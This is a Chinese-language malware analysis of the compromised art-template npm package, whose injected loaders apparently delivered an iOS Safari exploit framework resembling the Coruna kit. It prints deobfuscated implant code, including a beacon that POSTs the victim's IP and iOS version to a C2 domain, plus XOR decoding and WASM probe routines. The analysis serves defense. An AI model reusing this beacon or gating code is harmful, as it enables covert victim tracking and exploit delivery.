你的網站被當成水坑?
1. 簡介
這份報告提供了針對
art-template
npm 套件遭入侵事件的完整技術分析,該事件導致了一個 iOS Safari 漏洞利用框架(exploit framework)被傳遞,其特徵與 Coruna 漏洞利用套件(exploit kit)相似。這起於 2026 年 5 月偵測到的安全事件,突顯了一場針對廣泛使用的 JavaScript 模板庫的複雜供應鏈攻擊。分析內容涵蓋了攻擊手法、所傳遞的惡意酬載(malicious payload)的技術特徵、其混淆技術,以及與已知 iOS 漏洞利用套件的操作相似性
[1]
。
2. 入侵事件背景
原本由 'aui' 維護的
art-template
npm 套件,據報被移交給某位未知的攻擊者(unknown actor)。這次維護權的轉移之後,該套件的惡意版本隨即被發布。具體來說,版本
4.13.3
、
4.13.5
與
4.13.6
被發現含有注入的惡意程式碼。攻擊者(threat actor)的意圖很明顯,他們立即將該套件武器化,並隨後刪除了相關的問題回報,顯示其積極壓制發現的行為
[1]
。
惡意注入的內容在不同版本間有所演變。版本
4.13.3
使用
String.fromCharCode
編碼來隱藏一個指向
git.youzzjizz[.]com/git.js
的載入器(loader)。後續版本
4.13.5
與
4.13.6
則採用了混淆程度較低的方式,直接將一個明碼的
loadScript()
呼叫注入到
lib/template-web.js
中。該呼叫的目標是
v3.jiathis[.]com/code/art.js
,然後它會重新導向到一個水坑網站(watering-hole)
utaq[.]cfww[.]shop/gooll/gooll.html
。這個水坑網站最終嵌入了主要的 JavaScript 植入程式(implant)
49554fde7424c31c.js
,負責傳遞 iOS 瀏覽器漏洞利用套件
[1]
。
2.1. 供應鏈傳遞流程
下圖說明了 malicious payload 的完整傳遞鏈:
3. 植入程式技術分析
被識別為
49554fde7424c31c.js
的 JavaScript 植入程式,扮演著一個複雜的水坑漏洞利用傳遞框架。其主要目標是執行 iOS 11.0 到 17.2 版本上 Safari 的裝置。該植入程式在其他瀏覽器(Chrome、Firefox、Edge)、其他作業系統(Android)以及較新的 iOS 版本(17.3+)上會保持不活動狀態,顯示其具有高度特定的目標鎖定策略
[1]
。
3.1. 初始行為與反分析技術
載入後,植入程式會立即啟動一個持續的信標(beacon)程序,每 10 秒向一個命令與控制(C2)伺服器(
l1ewsu3yjkqeroy[.]xyz
)發送受害者的公開 IP 位址、iOS 版本字串以及一個活動追蹤代碼。這個 C2 通訊獨立於主要的 payload chain,並在 2 秒的初始延遲後開始
[1]
。
該植入程式採用了多層反機器人與反自動化指紋辨識(fingerprinting)技術,包括一個 inline WebAssembly(WASM)工作量證明(proof-of-work)。這些技術對於逃避偵測並確保漏洞利用僅傳遞給真實、有漏洞的目標至關重要。使用合法的第三方服務(
ipv4.icanhazip.com
)來解析 IP,更進一步增強了其隱蔽性,避免了使用容易被封鎖的基礎設施
[1]
。
- // Deobfuscated beacon IIFE (runs immediately, independently of main chain)
- ( async function beaconLoop ( ) {
- await new Promise ( r => setTimeout (r, 2000 )); // 2s initial delay
- const channelCode = "CHMK6IG08F42496C22" ;
- const c2Endpoint = "<https://l1ewsu3yjkqeroy.xyz/api/ip-sync/sync>" ;
- const ipOracleUrl = "<https://ipv4.icanhazip.com>" ;
- async function sendBeacon ( ) {
- // 1. Resolve victim's public IP via legitimate third-party service
- const ip = ( await fetch (ipOracleUrl)). text (). trim ();
- // 2. Extract OS version from UA
- // e.g. "iPhone OS 17_2" → "iOS 17.2"
- // "Intel Mac OS X 10_15_7" → "macOS 10.15.7"
- const deviceVersion = parseUserAgent (navigator. userAgent );
- // 3. POST beacon to C2
- await fetch (c2Endpoint, {
- method : "POST" ,
- headers : { "Content-Type" : "application/json" },
- body : JSON . stringify ({ channelCode, ip, deviceVersion })
- });
- }
- await sendBeacon ();
- setInterval (sendBeacon, 10000 ); // repeat every 10 seconds
- })();
- // Outer reload loop — forces full re-execution every ~16.7 hours
- setInterval ( () => location. reload (), 60_000_000 );
這段程式碼說明了持續的信標(beacon)機制。它獲取公開 IP、解析 user agent 以取得裝置版本,然後將這些資訊 POST 到 C2 伺服器。
setInterval
確保了持續的通訊,而外層迴圈則大約每 16.7 小時強制頁面重新載入,這可能是為了重新整理漏洞利用或繞過利用 Session 的偵測
[1]
。
3.2. 混淆層
該植入程式使用三種不同的混淆層來阻礙分析:
-
第 0 層 — UTF-16 整數封裝器 (
fqMaGkN4) :此層將字串常數編碼為 32 位元無號整數陣列,並在執行時期使用unescape()還原。這項技術使得靜態分析字串文字變得困難 [1] 。 -
第 1 層 —
new Function(atob("..."))()Eval Chain :一個大型 base64-encoded blob 被解碼並立即作為新函數執行。該函數會建立一個全域模組派發器 (globalThis.obChTK) 並包含一個 JSON 物件 (MM),該物件映射 SHA-1 內容雜湊(hash)到更多 base64 編碼的 JavaScript 模組主體。這種動態載入與執行進一步增加了逆向工程的難度 [1] 。 - 第 2 層 — 每個字串的 XOR 編碼 :模組內的敏感字串會使用每個字串各自的密鑰常數進行 XOR 編碼。這是隱藏關鍵資料以避免簡單字串搜索的常見技術 [1] 。
- 第 2b 層 — 整數常數混淆 :數值常數以 32 位元整數的 XOR 對儲存,用途為擊敗尋找魔術數字(magic numbers)的靜態分析工具 [1] 。
- // Example: XOR key 67 — decodes to a module hash
- [ 118 , 116 , 117 , 100 , 99 , 114 , 98 , 103 , 112 , 100 , 120 , 116 , 100 , 121 , 53 , 97 , 98 , 100 ,
- 99 , 113 , 107 , 114 , 115 , 102 , 99 , 56 , 98 , 54 , 100 , 50 , 99 , 51 , 48 , 102 , 51 , 50 , 52 , 55 ]
- . map ( x => String . fromCharCode (x ^ 67 )). join ( "" )
- // → "57620206d62079baad0e57e6d9ec93120c0f5247"
這段程式碼展示了模組雜湊(hash)的 XOR 編碼。整數陣列在與密鑰
67
進行 XOR 運算後被映射為字元,從而顯示出實際的雜湊值
[1]
。
3.3. 使用 WebAssembly (WASM) 的反機器人與漏洞利用閘道
該植入程式廣泛使用 WebAssembly 來實現其反機器人機制及控制漏洞利用的傳遞。主要特點包括 [1] :
-
CPU 架構區分
:植入程式透過在 WASM 堆積(heap)中搜尋 Mach-O 64 位元二進位 magic constant (
0xFEEDFACF),來區分CPU_TYPE_ARM64和CPU_TYPE_ARM64_32。這允許根據 CPU 架構路由到不同的最終行動模組,這項技術對於鎖定特定的 JIT 編譯器路徑至關重要 [1] 。 -
特定版本的 WASM 記憶體偏移量 (
rvXShf) :像是 72、16、64、88 和 96 這樣的值會以精確的 iOS 版本精度被應用,以從編譯後的 WASM 函式主體中的確切位元組偏移量讀取資料。這是一種記憶體佈局探測,與觸發 JIT 損壞漏洞利用(JIT corruption exploit)之前驗證有漏洞程式碼路徑的行為一致 [1] 。 -
$n()讀取 JIT 編譯的機器碼 :一個 WASM 挑戰會擷取一個函式指標,並在ptr + rvXShf位置讀取記憶體,以根據預期的雜湊(hash)驗證 JIT 編譯器的輸出。這在進行漏洞利用之前,確認了特定有漏洞 JIT 輸出的存在 [1] 。 - 五個獨立的、特定版本的 WASM 載入器模組 :漏洞操作能力(exploit primitives)通常依賴版本特定的記憶體佈局,這反映在植入程式為不同 iOS 版本使用不同的 WASM 載入器模組上 [1] 。
-
在 iOS 17.3 嚴格截止
:對於 iOS 17.3+,植入程式會明確將其 payload 旗標重設為
false,這與某個已修補的 CVE 相符,而非一般的偏好 [1] 。 -
.si()最多重試 20 次 :短暫的 WASM 初始化失敗是漏洞利用設定在與 JIT 編譯時間競爭時的特徵,而非典型表單注入 [1] 。
- // Deobfuscated lr() — architecture probe
- function lr ( ) {
- const mem = new Uint32Array (F. Xn . exports . memory . buffer );
- const magic = 0xFEEDFACF ; // (decoded: 1345340530 ^ -1361199427)
- for ( let i = 0 ; i < mem. length ; i++) {
- if (mem[i] === magic) {
- const cpuType = mem[i + 1 ];
- if (cpuType === 0x01000007 ) { // CPU_TYPE_ARM64
- F. runtime = 'RoAZdq' ; // standard arm64 iPhone
- } else if (cpuType === 0x0100000C ) { // CPU_TYPE_ARM64_32
- F. runtime = 'PSNMWj' ; // Apple Silicon / ARM64_32
- F. Sn = true ; // enable crypto chain
- }
- p (); // re-run flag builder with new runtime table
- return ;
- }
- }
- }
這個函式
lr()
示範了架構偵測。它掃描 WASM 記憶體緩衝區以尋找 Mach-O magic constant,然後識別 CPU 類型以設定適當的執行時期(runtime)和旗標
[1]
。
- // Deobfuscated $n() — WASM challenge
- function $n ( ) {
- if (!(F. Sn && F. Nn . sKfNmf )) return false ;
- const expected = 9389 ; // 0x24AD (decoded: 1903251526 ^ 1903260907)
- function verify ( exportFn ) {
- const fnPtr = F. Xn . tr (exportFn); // get function pointer from WASM table
- const memPtr = F. Xn . nr (fnPtr + F. Nn . rvXShf ); // read memory at ptr + version-specific offset
- const val64 = F. Xn . rr (memPtr); // read 64-bit value from heap
- return F. Mn . er (val64. Dt (), expected). lt (val64); // crypto equality check
- }
- const qn = ! verify (F. Xn . a ) || ! verify (F. Xn . b );
- return qn;
- }
$n()
函式執行了 WASM 工作量證明(proof-of-work)挑戰。它驗證 WASM 模組的編譯後機器碼是否符合預期的加密雜湊值(hash),從而確認在真實硬體上存在一個真實的 WebKit WASM 引擎
[1]
。
3.4. 有漏洞的 iOS 裝置與鎖定目標
該漏洞利用專門鎖定一系列 iOS 版本,每個版本有不同的旗標路徑。主要的目標族群是 iOS 16.6 – 17.2,這涵蓋了部署時大量未開啟自動更新的 iPhone 使用者 [1] 。
| 鎖定的 iOS 版本 | 旗標路徑 |
|---|---|
| iOS 11.0 – 15.1 |
mmrZ0r
|
| iOS 15.2 – 15.5 |
RbKS6p
|
| iOS 15.6 – 16.1 |
ShQCsB
|
| iOS 16.2 – 16.5 |
KeCRDQ
|
| iOS 16.6 – 17.1 |
JtEUci
|
| iOS 17.2 |
JtEUci
+
wC3yaB
(強化的 WASM 驗證路徑)
|
| macOS Safari | 部分支援;存在桌面 WebKit 路徑,但指紋辨識方式不同 |
4. 與 Coruna 漏洞利用套件的比較
分析揭示了該 JavaScript 植入程式與 Coruna 漏洞利用套件之間有廣泛的相似之處,因此有高度信心認為此樣本是 Coruna 傳遞框架的一個實例或極其相似的衍生版本 [1] 。主要的相似之處包括:
- iOS 版本鎖定 :植入程式的五個特定版本 payload 模組與 Coruna 的五個 WebContent RCE 漏洞利用鏈幾乎完美匹配 [1] 。
- 內容定址資源 URL 方案 :兩者都使用結構上相同的方案來獲取資源,其中使用一個 session 密鑰(在 Coruna 中被稱為 "COOKIE")和一個模組雜湊(module hash)來衍生出資源的 URL [1] 。
- XOR 混淆模式 :該植入程式展現了與 Google Threat Intelligence Group (GTIG) 在 Coruna 中偵測到的相同 XOR 混淆模式,符合他們的 YARA 規則 [1] 。
- 整數常數 XOR Pair :植入程式和 Coruna 都使用 32 位元整數的 XOR Pair 來隱藏數值常數,以擊敗靜態分析 [1] 。
-
晶片特定派發
:該植入程式在 WASM 層區分 CPU 架構,路由到不同的執行時期(runtime)(標準 ARM64 iPhone 使用
RoAZdq,Apple Silicon/M系列使用PSNMWj),並載入架構特定的加密模組。這反映了 Coruna 的晶片特定漏洞利用模組派發方式 [1] 。 -
.xyzC2 域名模式 :植入程式使用的 C2 域名(l1ewsu3yjkqeroy[.]xyz)是一個 15 字元的.xyz域名,與 Coruna 的 DGA 模式一致 [1] 。
5. 結論
art-template
npm 套件的入侵事件代表了一次重大的供應鏈攻擊,利用一個流行的開源庫來傳遞極其複雜的 iOS 漏洞利用套件。技術分析揭示了一個多層次的方法,包括儲存庫接管、惡意程式碼注入、進階混淆技術,以及使用 WebAssembly 的反分析與漏洞利用閘道機制。其與 Coruna 漏洞利用套件的驚人相似性,包括版本鎖定、資源載入方案、混淆技術以及架構區分能力,強烈表明它們之間有直接的系譜關係或是非常接近的衍生關係。此事件凸顯了健全的供應鏈安全措施以及持續監控開源依賴項對於減輕此類進階持續性威脅所帶來風險的至關重要性。